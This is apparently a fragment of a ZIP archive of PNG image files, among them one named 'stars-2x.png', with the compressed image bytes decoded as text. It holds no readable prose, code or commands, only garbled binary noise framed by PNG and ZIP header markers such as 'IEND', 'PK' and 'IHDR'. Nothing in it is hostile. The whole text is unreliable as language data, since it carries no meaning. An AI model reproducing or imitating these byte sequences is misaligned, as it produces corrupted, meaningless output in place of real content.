=$�V7t:gX9���O����{냛�5����$�rg��5z<�U�kTr�<�w~�Je����A�\�W\\+p*�_��JR��� �/��qV�'����W�a�tr�`*�3���?��b[�����:A��e��bX�Jw��Q�,�Ǭ5*N�:���TFf%�cc�t�M����~z|�.�]����+���|�#�|����l����A;+󘍻�Z����@��s�뛿^?^������r��/�Kr�r�Q{%��g�T�����TFO����R,�?��M%	W߲��xp[}އH��:�:�?�?���v*�8��}�Lp�P�w<��tN�׿�@�|r�֛����_V��x��畤Y��-+��$����!�:CW��4��z�pcm�͗����Q����R���߁N%ٕ�v*_�����d.wr���
�)X�'g�V�5��u�N��䕜�қ��}	�ï���Ae�<���uj��X	unWϣF;��ݛ���s:G�'OO��������?�l�?��x8�`�s�������5�u�z�+�]Ӱ6����wr�{CNr6�U����TF��!�֘5�K�<�a�s5��M��?p�S9+gw����_�n�Ȯ�г�T�{6��rճƺU��ݟ�
��g��t2��
�ӝN����$�f��r*���r\:S��%9��"�s�^���{а�ՀJ6�_p>g%ɮ�w��_^��Jr�:c��
�/7W��e%9+z���?��
��
SI���y��+�Y��>��$��<nɥzc�z��H��b
�Ir������u���]�:+rz�V�����}����^W�P����$+��j'Xst��
w�$�$Sw}y׮��XG���W�վ��{'�H>z[��-���gU�dϨ�B�ֶ'T~�'82u֑��|��J"�Z�k:�.�㽞�QH*u,�y�2�DXC'�Y�,��O�t�x<5���un�rY�6z�>���
�Y�5��]z%I>��㾭�h�dW��	��u֮ϻ������ZI:+Y��:ӟp������+H:��b͓J�����?&['<�g�У��9�:�a�G��j�Y��2SM+1�g:I�O�B
�����͟�|U['y����N�ٕW�߻3��[���j\�zy%�|�Ӗ)I�—���/+I�t��y������>
����a��ڼ+۵޹뗿�Om��s��N�r?�Y?��\+��Ý@u�5+���9ꛟ�$�$���Jͣ3j�~��J��;�}Y�2j���-�$��hW�S�o���r5kV^��NT��A��~�k�F'{���V�?oW'���
JD�,����d'$?�^�;���'g%/���
O��lzW6�5+��S�:2[`e�v�$�q��~��sV��:]�(�T&�j�H���s����ŹA��b��d7�7���_X��Ա�~L�|����_��䓍J��څ��lU�+p�ך�?��_~���ޟ
��}��3n��Y���j�����>I6JY���\���9��$�f���i7����Q硇�*��C�o���㖟�J��ygש�4��5z$=X�W�������I��}:��NG����\K��낇�
�b�ϸ���E9p_등^IN�sT�5����U��{3�<���������N��V��dw*��Q[�o {I�_����O��$�~gp�k��=9ȏ�T�>Cc�4�j�{�7*,;���$�3I��<�$��6z�p�������u>�%I���g{g�VـCA�J+gI�_�/�?m=H�^yo�g�M�l=w���eU0ΗЛ��X;<�y�$+�$�$y�k�j�e����U��8�'�6�/�d%I���=v�`�է���qx2�X��~ڬ!��2Pu���Y��$�v'g�x�*�N*_Q۶����
�X멚�t�$�ɩ�2�u�F͝m��Ys��������I�J����9@Mm���u�Y#9���.kT���9<0+�/��F��ھdG�X��>9�Fok{`�i(\�{e֚�����2�s������Am��\��z�A�'���W��r:U﬽�f�/6`l
��C��ur��8�t]�5J��
&S�ů�7������Wɀs����DZ�c+��ʼ�N��M^�s�T��UͥF�LokȆ�������o�J`v�Zm��t���s�l�?����\��k�km|���!�z�Yy�JP��
o��ԩ�Wv�j��e�>�$��;���tV��Ry2�C��[���?�$�@Mu��;���̗�$k�w���n�Ipѯm
���j:u��$	���<j���O����_^��<�t:��xz��'yV>�z�}n�3|��F
�9.p��.���p'=p]*9y�sW�����9	������Z�I�>ž+��J^��ǣ��s��[�ؗ_���xX�S��y��ݓ�;����N][�pnwYc4�u6��sjN��U���ʪ�Ir������&QCen�I�{_����^;����������:�7��.����r��fM�gu�R��ۗ���j�ǚ*n��=5�$�,,j��=H�+}��Wr`�'�v�G��.\\@%ْ]��\w'�������9{S���o����>����I6m�\��N�$�N�
��{�v_��=O������0�ب�͏���u��p�>n�J�Cm����$�c��5�$�>'�k���ɶF��I�g���p_:�fÅ��3������;�N�I�$�i���@��՚�2�I�p��A�
�l?��������M�YɶS���I\=���^�$�H����u�d�X!9O�Z�P'�ܨO�f������\�$ɶ��u�ڀ���%����_�/�^�P�F����.4=�*�f%	��\���w�{
k.��tv2��8�I����Q9k��Qљ�6����ٛ����p���$�$��C��
 ���8��
t���<��f�y�W�/���_~��
�(�+u��[$I��WNm��@m`W������[���w_�:�|Mv%g%�n��_f�P�`�b��:�*kV��s���d'1�Y��˿��Cm��^���rk�$I^���>{Ep[����}�Z���w��;?'(a-$�>篾}���0*`�vo��8kj��+��ε�$;PI~���o�:VP���Ovu�I�$9z}�ږ~���փ:��N���s�E�>\.�����pQ7��0`E�\��
���>��&��I���N0���_���せ��y�K'<�$Y�a��޺^�X�`
�����9�yP�$�~}�=��M�
sW2��T�*0�׾���t�RV�ye6�w��v�ۿ�k4�qa���b%�}V��f�9z����7OE�@�����ʷ9�����Hr���}p�
�ze���.�@��q��f?�Bg*��.��X�����x����//@^X�v)�e�zg������ׁ�����⮁�.��z��tM燝��$;�Cu�ə:K���m��T��x�E�T2���:�/~����ԉ�(�v�����XQ�c�::�����ovͬ${��t~8�J'Ir�U@�|�w��œ��5U�ګ��v��{I>*�蜵���o~�=H�:��m���Q�����%0���ӯYIv���Q��WFU���k�+ȏ�u�
O
7�5�7�$/Η]�Io�ֶ��?��{��}��ܬ��ڍD�ש,�U�O2��S����}���{X�>�����M�z�����u��)��k`�[��~�7��6(�ny�8���
��y�ur�$ɦ��\`{�Q��RGْ]I*_�y��T��
O�����y0���q�:���?f*ǽxhk��q���k$qw�T�z�����x{��-�]�;�ed�ܸA*�pU��U�/{$���!�dm��2���gexo7z:[��x���?��ux����o��韓�7��Y@�z�^{r���h�MzsY�z�zh�$���C���*�|I�d�GeSz�hBø��=�[�̩͟�:k��k4����Y�I���
ƅ�+��5��ְ>�Y�f��,��$uT��*�Jr.XnJtO���θP������>O�^{����ب#��9Ove�|���K��Or��ܻpCKNm�Z��l�4�ʹ٬�x���v�ae8��X�e�_Vg����ըk��z���ʮ#����L��ۥ�x��r��g%Q̥r��+k�$�$9�5�nIo@ep��y��ʹA��T6�7�&Ϻ����jX�H����:+�:��+Ճ��Ƶ�:u�}g��?���&�y�+3��$9�ʵr�eyX���;���d�kW��
Ԯ�J�fK�7�u��.�$�S<O�@o���X��x��;:Y9��֐�y��u�y~�p��k\W�;C�g%��	�[���k\�$�Mr���v�������d�&���I~�Ne���k���d�gn���zs���M�d_��J{�ֻ��%n���:���c�+���*�z��v��|�/>+��>=�_�$�a$�u��DO��16�
��~z��I��޽rjW��w,ܽ���Kl{�ŗL^��Z}�}�]�N��<�5�%�����Ot����۽�V�'U#�dC
֜m*�vgHvP��.�;I�l�ų��N>I�=P����/U��}Lz�$�󠒬v�f�3�/9ݯ仟J�r���`mt�O'��������ʙ�d��:�$��;�:�u*�$x�Bo��Uf�@M�X\S���J��$��{��K����/�w?Y��qSl�emt�Ӊ$����9�3�rt6�#�f�Mm��[���J&`>�x����Vָ��K�gt�C1�z��y|v�Jr*�"I2_���7I�/�w?%~*�π���fX��'�z9��_�Y��Q��3W����g. |I�;+�ym�o�Z�4�_��d�*��<�.��Ͳ�a:�;�j[I>�aeX���I�ݿMb�<�=�p�o�k
.����W2������u����:�p�K���cure68k����߯����F%����<�,uбW2	2��}6�'[���Ǽsv��~J>�1�_�N�:�z�Q���(�L�Y�;Gqg<z��#qY�ٽs�a\���z���5s�^����<.�~��%��J��{�`�
�3u����/�@'�ϣ�+[%I�����>+����d_��q�����%g���	�\��G�5}��c��7t����e�Y묚F펚��N��+��r5�}�n*�繁���O���zaW���z}���S��Y�Oͅ>_��,��o7�䝯�}M2j�q
X9=k$��2�7o}X�M����%�{��{��$�C1����sw�Q9�5���cō$�b��>�k%Iv���K�����u��>5��w�d�w�\*�vU�5��2��NC�tf<PF�E�2L�ӷyY�{�b��ҟ�s2�KC��:t@��~�6�F'�W���I2z�&G��_ܧ�I��q��_�^eC'���Qn&�s�O�.�RɃ:ko�ף+�Y3�g�`ex�|jo�Ѫv��ʜ���sj��B0����u�^IN�~M�H��ڕO��
��U�y-��)l_��G��3Vxu�Zc��x.����'�W�N�7*�̮��q�2ӯY�
VƳ��Y:�u���y��ޕ|����\�x�k�`eV�%�\�,��^Iv��PG�Y��=u�������?
�y<:�z�u�Ѱ�ն賩��$�s�s�R�z�Ι���Xv�Z���}�f%�;ٱ�J���@/P�59��+V��JX*���dַ���++|��*��|�Ke�������eeM�/:ٚ�
��Q7����[1���57VVt�����:|ـ�7�/9���;cg��Y�IN�2k��UI�|�R��������p�z
�x���'<+g���s��@
��˼�l�x�*9����Q$9������.Z��^W�,9y-j���u<�IN��>�O�~g�yp˙��k�F2�Wm��xz�o~��=뽟�`n���J�ɾ���PX��I*�X��I�7�O�ϗPӿ����o�ϳ�G�dý~��3y�J'��|y�Q�0�5���_9{��қ���?U&���l�@��<���{�d%zj��wb�!���.�@a��a|��Y'�$��8���z}�J�r�]��?�JXԉھ�C��_���<�NW�C��S��%{��3((�
�T��.�k�P�O�>I^���%k��'�<�� �L�~'V�M��3��O�J�֙������N�;�� ���?�t��6ϖ����n2�@97�<�5=�k�p�J*�D�f����}�^�'�Xcp�������}���E� 镳��&�q���?�[���F'�\}�Թ��͟l��j��׌$����(�
	���J�V_RI'7��<�]Gor2z[��g��ʗ������>������9��N�$����T.
��x�_Z�>G�B}�W���զ��-#����K�C��d�*��i+9���i}$k���:����<@��/���{���!�+I�m���@�9��%p���{W�K�������]uJ2k$ɹ�罟���q��7�BI<
��sT}�g
j��9�x|92��T���.���!�>���z_*�$I�}��<9����Q��аz�4�S���W�����>9ԫ�@�we֑��Ig��#�p�����:��ܟ�ާ�5�O�S{=k��蹲o���0�r���v�����t���d%Iމ�'�C%� w��Vy!ɩ|��yV>���_w�3�g+��X��Ī�V���j{��E����UV��+9���y�ϖ�s�>8'�z�u�G%��.OΗ�o�@s{r$I�\�Ϫ�:��U}r'�ޛ]�����$k��;�t^��}f��ܘ~�����$���a�V���5�x���&9�Ԩ�U���d�i�gU6u��d'Gm�����9��dܯ��N�J��Ks֨O:�)���
��:�3�'9��q��=�-{�U�$y�/q_�>Vx~��?�]��^��I������M����i%I��N�{wv��m
:9���5d\]�����mpQ�N2:�$ɦ�W��NUƬ$I6�JN�:k��<��ɉ_~��5�u��W��P��6[+k_�6u�g�������n%�|��$ge�^9yr��}Q�|N�yX÷��a�.T�q�)��w���Y�q�����.�Q�Y�^��I����d�60�^I擣%'���M�p�3����o��5H�q �ѰR���1��߭|�$��Ig�$�s.;��$S9.���u�5��S������)}Qw�
k���^I��FB�T��+�U�'�ˏ�0W�/����[_ �5�8��$�ݿX���6L�$o�����ѵ�l\H�Uyp�qS��ӓ���A���{$3�^�d��
�:0�������U�N��\P�p$
(�
M���2J�,���Ek_����|�$G�_Ê"�t��qXk���f��F�Us�ެdn����d��~�l.$�W��J=�;���`X@��亩!����S���Y5WR���Q��1+��U��k-�����<zԬd���ڮN���$�s�M#G�3k�[�NB�&��\�@,�=5,�Y�_k��YD�:$���+�w�r����_�>c%�;����|F�W�T�sjt6����@Fo���)�'ٖX�up��^���+��>��bFG'�uzr�$�zPљ�\�2�'G�w�S�^I>#�ݟjW�m*��A$��w���c�~��<�N���=@�x���[��,j}/c����E���9�:���t�=�����{�^�v]�s*ٯze�D���O�_���EU�`I�g���kR�������ͣN��^P@�96ꌞ����\�`��Ս�C�w���;��t��1�5������}��WI�d2P�����ɟȂ��u��P;�����6X��~��ݜN�}p
����:�{w��5��7����I��x�d��Mb���j�}��a��Irf��+9��ӱ�����ʯ����
ך��p������p�Y �]ɮ���d��4mO��צx�uQ�e��T�>l���uTã��+�N��n�iֱ>s_a��_��N�~�dj����P��w��ٝ�����.��C�۳rj:�&���)+�׾���-�����U�?�;��,��&ׅ�����WϚ�'Usqa�ӧ�Ne�ξ�N�����+��E���Q��<0�@�.�ٕ�
�~%�Y:�og
�U�:��>�u^*���ɱ\�S�㿃۽k���y��uV��H��T�f�X�voȍ���G?��P�N\�����{*:ٕ�R������7$Ԩy'��tr�<�㮭���5*��~�Uf��u�������ެĵ�Y9+SI���I8�[Ũpˆ[���6�����
��=�����b?Ԯ���H�t�QI��+�O������p�vkw*�W�5$��k*{�㿃>�fg$�X�^������S$��d�=���ו�0/q�o~�~U.m
�f���<��p�^0.*	������^ɬ��8�SI����e'���-���O��5���c���/i�$+��'�}��<S�x�k
�
�W��F�S����`���k��m�R<@Cm�y�@%�˝�_�Y
�b���=j�:����$O<+�_�y�V�qq{@�Y�����/S�X�g��q�l�K�=���ϝd,~�#���KxtBm��
�6:��Jr���Kr:�D��m�$�t8���;ɐ$'�O��V�ʆ��s`�~�qY��k�y����o�JT�������F��e���c���t6292�R+_6���t^��۶p��r�=�SK
.��9����z�g
_�]I6d�?<}p��<X=@65�m�u�Jf��7�5kj��?,�ٶ��~w>�A�_S��'���.r��S�6֡�΍'��5�I�$O&��Pg7��uX@Y	s��e�Wv'��=�����k���Ng_`�����S[h�s:��q�uj����x��`�]pI�I��;y��q��}Q��$X�"�z����J2�!���𸁍Jއ^#G��@e�އ�aE�ɦm�>uP7k��Tg�q��񫟎z�:��:қ��Ϻ��#[��\+���u���:k�d�����r�,ܸQIWg$�7�="��m1��5���Jpg<���,���B僮S�Ư~�*�J����`_8������:��f�$�&x�^��rf�^������.�+5p-tvϝ��}]z������y� 
2�~��A�kV�%g���΀�	��l��O�F�U�>>_΃�����Mf�t�3���Y��z���I6�/[�u�}tN�:yܛ:�U��+�ymM���{�^9Е8���6�����5���?1^��^�r�~�Ι�z@��t�Z��;�u<E��z'����P��7�=jtN�9���0jn[��^���+�C)�uU>jߨ
Sٛ穜��[�N�?*�w錕��u�j��ˆ���2��k�{�f�<���|����Đ����
�^�;_���Ɯ�7�<*�dͽ>�>���S*��~���k�bj0w%�yV眇:���Nr:��T�����nv](�ʩ�r@]�;UA'�'��d��^S���]������l��l���j.Լ�N�b���_mtNgX/��:�$�\<+5N�Nr�C�k�I����ɑ���Z@!TNG��	�+$������P�����
��YI������4�~g:�85\���V�	"���A"��ds����Ip���O�M5+�66��X�77��Z�6,�I��sIvb_���P�?���C�ص�}a��*�=���l���@�����U#d[yK�����ٙ��fmPG�5�ƶV�u؝��zxXl�
n"{�MSX�J�z_k۞�~�[�7?
�
:�
�;��]g�^�=�YW%�2Py��uq�oW��gt$��9j��1�֑3h���:����/�Vg
��3��p�!g%�O�z�N��4\+X��8vV�q>I}��n�YX�J�I&T�k��k\�S�8�uX���I�5:�:�$��P�q@O�[o���|) 9/��������������hN�Ce��=�lP����tN^o����=���kn�>��d�o�����>k��vU��@��@0�}.X��~/*ɻ��L�ћ�?ҟ��Mb���kes�1*I�d?'ݕSQ�o���=�
�E���s����c���3�ze*��ҳ��6d1���$��>Y��st��FE6�c�g���}�gW6�T�Tv��3er*���o�T�f
��C�'�u]����o��>��>���d{�$8jb�f)G{���SgS{�wf%J�r��K@��ޯO�֒c�2p�UG���ӑ��=x�L)@����t��W}�l����O���3v��$9���Q3���M��[��qy�����M���mW��i6= ���*�$k��Ï�:�QDާ�Ir-=+���\��@���z��̬�ϑ�����Ycל�V��$ٕlrS9:��$_}6X�X[�
��~�1٦wej���x�J�+��O�ݟ��������tN�ӓd�yY��澏:�0�ud�>��`mjP�9�ʬd��xg�l�s��	��w�ڰlXۗ�?���lS�k�9.�����۞K�r�^��������IrP�餞�{��rЛuu�x�3�d�f�W��|�:�?x��-[eV2V�~>�V�����X�g�i�ɶ2P��?dj�G�}����[m@S�-��՟���^78���'�[�>�M��6h�9es��z�so�u8${jB�*W��a��Yg��vzM)kP����NvO
�P�m}��oO�>>�/����p��j{o�o�����ѕ��O�XǦ?�&���_��K��w
*��>�q�m�t򲢓]ٵ���uV0��cg��5n7�Y�����w��g�3�����#����G�^�{���q�6�Y�+9�W�#���~����/�!S}Cޠr��m�t���7:���N&��R@�dPzc�pj@e<l�A�Cc��X��N��"s�sp�/�g<e����;�{?~�c������W���Zg����~���Ͽ��?$��u�qUN�2����ec����T"s���
��+ɠ�m�lf}}�+�y�k��5=�)�w��W�S��i�=�Y��f�5�ή���9��W�$y%�P������_��Κs��.=gM}6�d��
+���������s}f�����<}�����
k��)ϝ��LΝ��5U���/�W�
��/?m����뎸��7���$'��$�f囿�����߯&Å�s��f��$����̾n����öԬF^��..@��Ɔ[Ͳ���+�d�8�y:�g��{�P���O��ùUoau���$g%9�ޅ%��������X�pgX��=���|�a�C'�}_�������M�32..7�Xx�կY��{p�G�d��6*�.�/w��/?m���Q����a%�k}��sV�
j盿��?��O��.�S'wve`�\*�:8��c��4\��FP���	p[/Ne���s:��7���_���'=w�/�Y7��<1��Q���<���1di�2T@F��w������t$Tt}�*c�OA�@��)�:b��Yg%#�����ӠU-LU���z$I�$I��X�x������^̻��j�YY��T��d�sd39*Y0??R08��z�z��Cua�v��w8�8h#I��܉��!w�g�]�Xsf��߀�����VUwN'd;��#���H�H��F�A��w��@�ќ�dh�\@�]k�?���NPF�3I�5�́y�U��L�9����c�q����1f;N�Z�`�*yU��L��}R��U������P`�v^6�KT;P����T�m$3IД�z�Izf$��c���<��)aQ��hI�r��g�I�0[w��}G��
0�E_.����l��q���k;�N,�f�$I~�kؘ=��k$�2�:��7��C����P��$�0r��I����j�p�g�jՌ6�}(�����Y��s��4�8Z=��M���V]���}>z&ٲ�Y+i����+��t4F��l0��z>�2��l��c���V��X��\��y�,f2����@��@-f#
8=�$��~�ת]�c�$��$I�x����~�B��-9]���N*��k�~�7��e�F!Κ�����P�Q��B+N'��a�J2��y9��Tcq�r��dמP?�k��Lf���#��q$]�����c�˒,�Bo�ן�=��qU�3o>�lk�ɶ�*8ppQM��'�sUjdmcQ��ןN���ߞ`��hUy��c��z�k�J�,�Q�$��4�܌=���ك�s��i׬ן?����������
(�G�}\�lc7�����`�%�����Z�����_B��R
��|G����Vkc6��J�皛Gs%��?�C��1��8�5�7<_��ƨ<��1}R�3o�`rt�GI��c6p�ؠ��c.��1�J5Uk��?�Y��|���������D"�qc3ƶ�g%�c��伓����F�;��WFzp��q�<���_�ԛ4PUi�C�`ծ6�89������Gs'm�^�_}��z����U�?wd��0��6�2�s${�5�{/#��!m$�%��H�<>��'X^'Q��~��J��0��q`��p�i�`,6I�Jc��Tu�}A�,�:,r�E�����v��L����5��Ȟ�����SޥO3���O�^g_j/���3I�,#�j���88ͱ(��5�؜(��:dӌ6b�
w�F��d�v��V�YY��{�u�3f��}2�5��V�?�3ɝ��a�6�ڛ�j;����I%Yƽ�lh`@a��t���0���.�=���MݡwC�JNs�K;��<�E�[�r��i�{���i�mf9�=��3IL��@����Zp�S�}/���}��L�dXj460']7��������7�1�
�m���\20WOc�ڸ�챒�ʵ�V���O��1��tg[�lI�.i��0�e��<殘��$��W�]5�	�@��zJ��f(v΁����~���\c�s,I2+��e�|&�ʱk��Kv2j������3�I#s�����o@�Z3#��{V�����>'΃`�
�	��F�z���-T׾�+�4��W�u64cg�K%��`l�M��l�����$��G?��C�%�#=��Y�x�/�f�m�J�G%�7���@Lp�=��̮;oV��٣��X#
�Z�~�0��%�T��4����&�<PCv�x����X�ȣ�d<��̼����Ϡ��^f�U��'^�`��r�4I��ϟ?�8�G=#L���>44ڴOI�=�Юdvm�XI?�����������$��n#�������g�̮�%9�����r��$�?��ǿ�
�+J-FpԆ��j'0
3�/?���>�tT3�g��LA�H�?��\FO��u�y�v%��H��ǿ����sQ�Q�A��*�T�P
TS�prj���~��w�O�AmFXh�F�8��5��~�1�=j�TSo�+t�M����F�����r�<��b$������Z|�g�~��Q��ʂ�3N�
� �����X�f�qr�8��=�G^�Y==3�����Ƿ=�ƪll�O�O�IŐU�c���=�f�d��>z�䕱���ܒ�A�:8�*}@
�q1v�/�7o?�a�k�.Ş�y�4_��K�f��o���Vm����C�6��%�?��1=��K��x���$�>k��>4��2v2�sITW�∱
��,��F;-�/g�W�4�Ʈ
�ZP�Uo�/�rT�v`&��]�l�P 1�>	��d4�?�Jl{.se��u%�$[����s�\f�G���3��s,Z��1^8]��s�`]�����W�5��Z�8�>9���/>�����/;{�0n�陏�f�c`�j�Z?�k�����x��N:��zu~����Im3YfW$ٓ�ʩ����'�X0�h���hp���6_}ls�0�أ8&�O�
.I���$]@��I���l��ڲ���ƪ�֭�|���]���O���_�s�${f�fv3'��	0��Z�
d�}\���X��=7�}8T��>���2��k͑1{#k6Qv6l�S���w��D̬��R�?�0~�?o���a'���͵�:��#f�vX.�P�
�,��w1�f<�s��n�AeOm�q1�=�Z3�Aa|Xi6G��Ȧm�g"�9$k��_�ߪm���e�̛}�K-��|�9��Ezp̞n&VM8�{�بM�*�c��J�2',��7��f�4���$#F�	�/߭�\�qg.���Ka.c���1��b��&{$�$kȾ��xV#���m���g0�'��oրg�ge�
3y,�9��8Ys!�4|�!��\�x6�\��/��3y�+���S�`�g��.�/
p����143ـG���e�)�Z�$}���<�Lvu�L��piƛ_c
c]���;3��Qy��W>��Sx�JW�M{߀�T�A��&N��8ʹjӵ���:�GS`
���e�K8�Vw�詺�Wg�;���e�՛�8
.�t��Dlc�,�t�O�I�eF|�)�;d��,?�p2rT���e�	FԽ*YG��ƺ$�j��x�a�)�T�z��{����`�\~���kP�rg1�~Ì�ɛ=WR�?-c�=��s����}�$�6��呓ռ�d�h����	�I�f��Rk}��T��^g�o:�8ͱ��c��JV�{$����h��Ț=�aܻ����Η�?5F��ٵվ�ܒWj�H����1�Y*=74�0��q��f'I�o��/��-
���s��X5�$�lc�uU/����5��e��"P��Xɚqu�mΟ}�D���i1Qm���B$��ml���w�ٴ�����X#�p���$I�wc5��2=Ұp����}�Q�g:I�ls���3*_~�1Y#I2��.r�j;땹+FlcV���:����"Ɂ�c�����I����?��yo����Zƚq�W�2%_'���YTH-�I��|��s�m3k�++�dK�6�1�ʗ�q
�$#��uL�/��8��IV�F>'�o�adc��{��9*IR]2��ѩ�kd�L_0�.s��k��$I�$I̞��ܮ<מ��8��	�^#�?$�$+Y��L�Ȯ��*yv�y$�c�\c;���I㘫�2��7#��{O/Y�x�?��FK��i��/���Y
��j�e��J�$I�����ٓ��L�SNg=��n����B^���ߘI�y'
��U��X\�.s?����-�����f�sb�$K;G_��e�q�uO�8P#+3)L��T
�=W%��$ɻ�N�6���vI��]H��>GX�����u�7���*r��<mT_�ds�.#e\�l5��g���+��2�W��Tz%�e3V}�]�V��Ljcv�}iYg@-T���Z�%I�wy��{&`ݝ�I�\��l�S=V�98���М*�߭�n=����X��lcq��q�$q���.}�ZFdؒ��I�#��<�M}���.#I���0�u}��v�xd�d̼��$���>$��W�8���3O����j���l���b�y�
��|U
*�3w���I�s�Zsa�5�_���}`�T�)�V"��$k�5�x&�g/�7?&M%kf%�#{��0sp�md噌ܯ?%I��7I�����s�YO��>���\��WЫ�9n��W[e�f&�L���a82�o?�4~�10�D.\��NҖ�̝<Vq~���c�Nv�|E5�f=�\I��z���_�y���W_'�4�d�w���9������
o^Q}ݕ43杬1��{;ȸ�̃�U��?|�Y��/?fS���̚I$yn8>�CÈdvTťg�5�t��N�d��S�|H�H�d.`Ұ���~�ҬZ�b�ddע-�^
<�̌�U�$�l#�g6�3�K�����fl<���e�3+1�k�:�v�1�l��B-�d`=�N;�+#I���$��~̛w���7�$I��
ci
N���'�r�z�3�T�:Y�h=�g��^�0{�Q�PK�b>[���Y��I�5�ֆ���s�#�{4c.؎>gW��6ֱF'f�*I���&��w_|�:Y��
�JfzO����	N��j�����^j�v`��5�,��{���\k�VY�\3�d3Y'̌�1>$��1�k$1ָ٨l$Ie$�ZԵq�Zf�$�jc��6r��_%�?$I^�����e�U��3=�B-f��^F�?��y5ծ0���N ������Ƣ����fc�"�`��;�ed������\s�>���ff&{f٭��j�$=�]�_f��Yͬ$=���}�$I���	��3yet���@��ɫm�������V�*��8�N���6Z%۱-�f$��C���e��㨑5�����o?��I�:/RY��ed�T�k$Iz&���=�;��jl8���+*��T�u}�0�g�Ӧ�/~
�R+j�%�=7f�d��u�Zc%I�r�Y�$#{�=k4�����F�)	��##���2�j��G�!3���f�H�<�xl
�4��#�M!�͉Ɂ%k+w2�kp��G�]k$���̦F�I23c�<�묙��i�I��-���L�6�����f�F�Vy��TWg���n^Ι$�\��:86��O��I�`׽F��	W��Q[���_$&�g�NkcqsB�c�VIf�����J��F�c�����q�M��q���]j������S�X%鑌Ekn���7�A�:@�Y�g�h�����\k<��_�O8Խ͞8Wru��vqc�d4Y�c�#Y3�l#o?>7���c�%��_���ǩ�vX�4�&��u�,̞��ޜ�6�����Ԣ����j&��	��1�|&�//7��̽��aq��?�I�G[��G3����g2�����6z��Ws���?�ʖZ�����~>�V�~��`�N���c���U�ꕍꍀ�9��#a�z<�,�'��Ʈ���>�e<�i�A99�}6�Yfମ���̚����;͡k�c�#
�;��k�57��u�deעƮO���g���4���J���
{��1�G6;Y3.�m��alcU~�o�:��<(L'�C
�
�>������1��ߡ��F҇��멒_��@^Wm�Mb�x���f��h0��۞�Z,�db�8�	�fK����s3V/xދz�iiLp�<��߸^ȪܧW��q
��������ߍ=����)I����̱0ח����~hƢz\���c_~��>���!��u,�8G����k.�#���;鱆+P
��usՂy4��6��p��k��̵��zt5|�	?}����z�e����90�,����˯~h����RIެ}�1^3^Qә�;ɷ�gccl���Iy��1n��䘝>Ӝ�揿���9������v�hu`�d��͚1�́�������st��3ΒG���������)ja,���������TH53�:��A�$�IW�Vk�Q{$f�}�Z��
6���_T��4m�H�ܹY3�#�/��O�|�]ea��F�W�<���tm\��w���*T��.3������f�c��(��:*y:��$���Lҵ*c&=�x4�H�싣�Q#��2����Y$��a$k��ԧ}�Y�=~���]iV�p
_��쵒���N��w����3��Q�7���|��y�O�~��l@�]�:���p�m�=JvF�G9��0w�ʻ�3�/w����5Tk$�s$�l/ټ,���g�ʷ�i�<>�,Z2���!�J��`�����w����37�xy���l�^���>̿��_�pas���՟l�f+��\8T����暁��d�=�5�Q�#Yq��2\[%I�h�Q���F��5�}����qӰ���*�U�yT�>���{$��s�O~������ܳ��>G��M���ӞI�^:	����Q�`9f���b^6����Zs��\#I\y�{���Bz$IV��B�6zS;�$�J��Q�e9TԒ�d�v$�,�
���ݏ?dg�edY�Y�}�$�!w#���tݏe��8�<s7*��6c��XI�dW^���}Μ;��/�J�k��No'f�d�^|�g�d'+k��&w�ive���o���m�l8�O��}gM���c]�_7j�L��X
FVg��Y�+pB��U�\�s���$��<֨$�c��Z�Xs��e�]I���2��$�k����Ւʣ���aģ�4l����ћ���_Cm�����
cܝ���pAe1\c^��]���!is掵G*y�/sE��8�m���PI�|�[F�Ɏc^Np��|����l_}��4�i��'?����{ޚڜg�R}f陞G�v�i��q��X��P�^��Y$��T�J�>*�J�?�u�Wy�D�q�

F��#];ɺ7T�,�i��\Tz��Pݣ] 4j��ƚw�Nj3YJMc���f��4u�}0'j`��~iT�v]Αv�Fe��9{��K��_gQ��fqhsc�1˵�^�L�H�g:i�ݗ���r�6�S�[U����וq��	P=��k��p\��r�=�$Y�V(c��v-(�8�Y8�ɚ����c���w�)տ��'<�;�ڰv��ꮶ���2窾��m�97��'�Vm�]�q�J��
`TR��0�%]�/�O��Bm�$I�يu�ڤ�'*�����X�sAEe����^�W��#y�5��B^�j�'s뙭r�%p*cy\3��	@��9�ǏҔ�j��tqQ]�*/��G޼����'`p���X��>�c<1㤖��N��sט�?7ꮼ���?pȧ}��Mh�\�5w�m{Ft��3�AS�k��dT�60����3�c��U6��0��L���m⠀��2S��p��43�s��rN�k������7�����>퓋f��0�fros�����Q��T��$�@��3I���X�z��^6�8+�H��z�Ը.�9�	�en�3
h�딜�Φ��4�9���4����\��>9@T�L�$Yc�^0Ʈ�2O�ꀑ���;٠�^p�f2���M-�v�@%4�dͼ�^F��u�w�5G��b�)�ٳ�
8���绹o?��o8U�i3^����ˏY?M�]��i��H��A�Â1۝�,P��Y����U�#���L�`��ݲ1�H��4��~�����`޻:kΖ�����䑵H������}��9iN�Z�s����l�s� 
���*BD6�J,@@�Y.�����+
�z,���#k�icNԪ��b@-��n������o�Tvߝ0R������ϛ�O��>�ص,�����|����z�q�6��V�{C��O��f�+`�`U6���8k�N
��N�]#L�jކ�O~����w�e�B���g���ه���Y`���g-p����E���:/`���7��Ň͡�4�
�#i��t���Rɻ�g탂S`��
u?Ǫ�����V��邳�1���a&�����?��T��>I�vJm�O�c~�EI0�u��A+�T�,�W��=����wcd��nɁ��i���G�y��̱����8�V�a`�;c�����X��e׶̽�P[͞
�J�y��1��H/�`�E��h.����+����O�7pν��X4�P�Z�,,#I�)m&[���I�,��chPî������XG1�ve��]�6��qB�9F��� Y��3�v8����b\��W�5���g�4�^��r7&���Y�5>$��f�9f^�LGm��4�ࢦmf�����f�Q�Q����8�Q0���7�q&M��8����.G_Fc�چ_��ї��[;c=��1���N��$I�d.ƪ$	��%Qk����*y���
T3�5�yX�v�����|ؕ8���Ī=;[�������,c)�Jr�H�Z��'�ک���ti�#�I�Įg�7�}μ��Z�H��T�րs�b��X+�r8����x.Ɖٕ�3�֧�]M��e�L5�Z�W��������_}��΂l����=�e�uh^ڱƝMV3�
�ȫ�L�������=�dXc�0Q8ƈ<T�J�<�>�b4�M�`c>��eoF�3��V}��X�?��Osc��Q8�z|�a�>Ҩ6�r2�1�;��P�
�c��$�>/���~���̍J���ٌ�yd�ls]S7�Z{�\8h��ݳT�XcSy��iޟ.c<�����m���5���K�,'��03v�3i�Qs����D$:MeIEND�B`�PK�y�Z�1_���stars-2x.pngnu�[����PNG


IHDR*J�7��IDATx��mh[UDž���?
��8�ND0(��D�t*���Y�
�B�6B,"�臵�q��M�n���N���e�uM�%��m�}N���-ɖ�ܛ�I�5��<'�{z�s��#
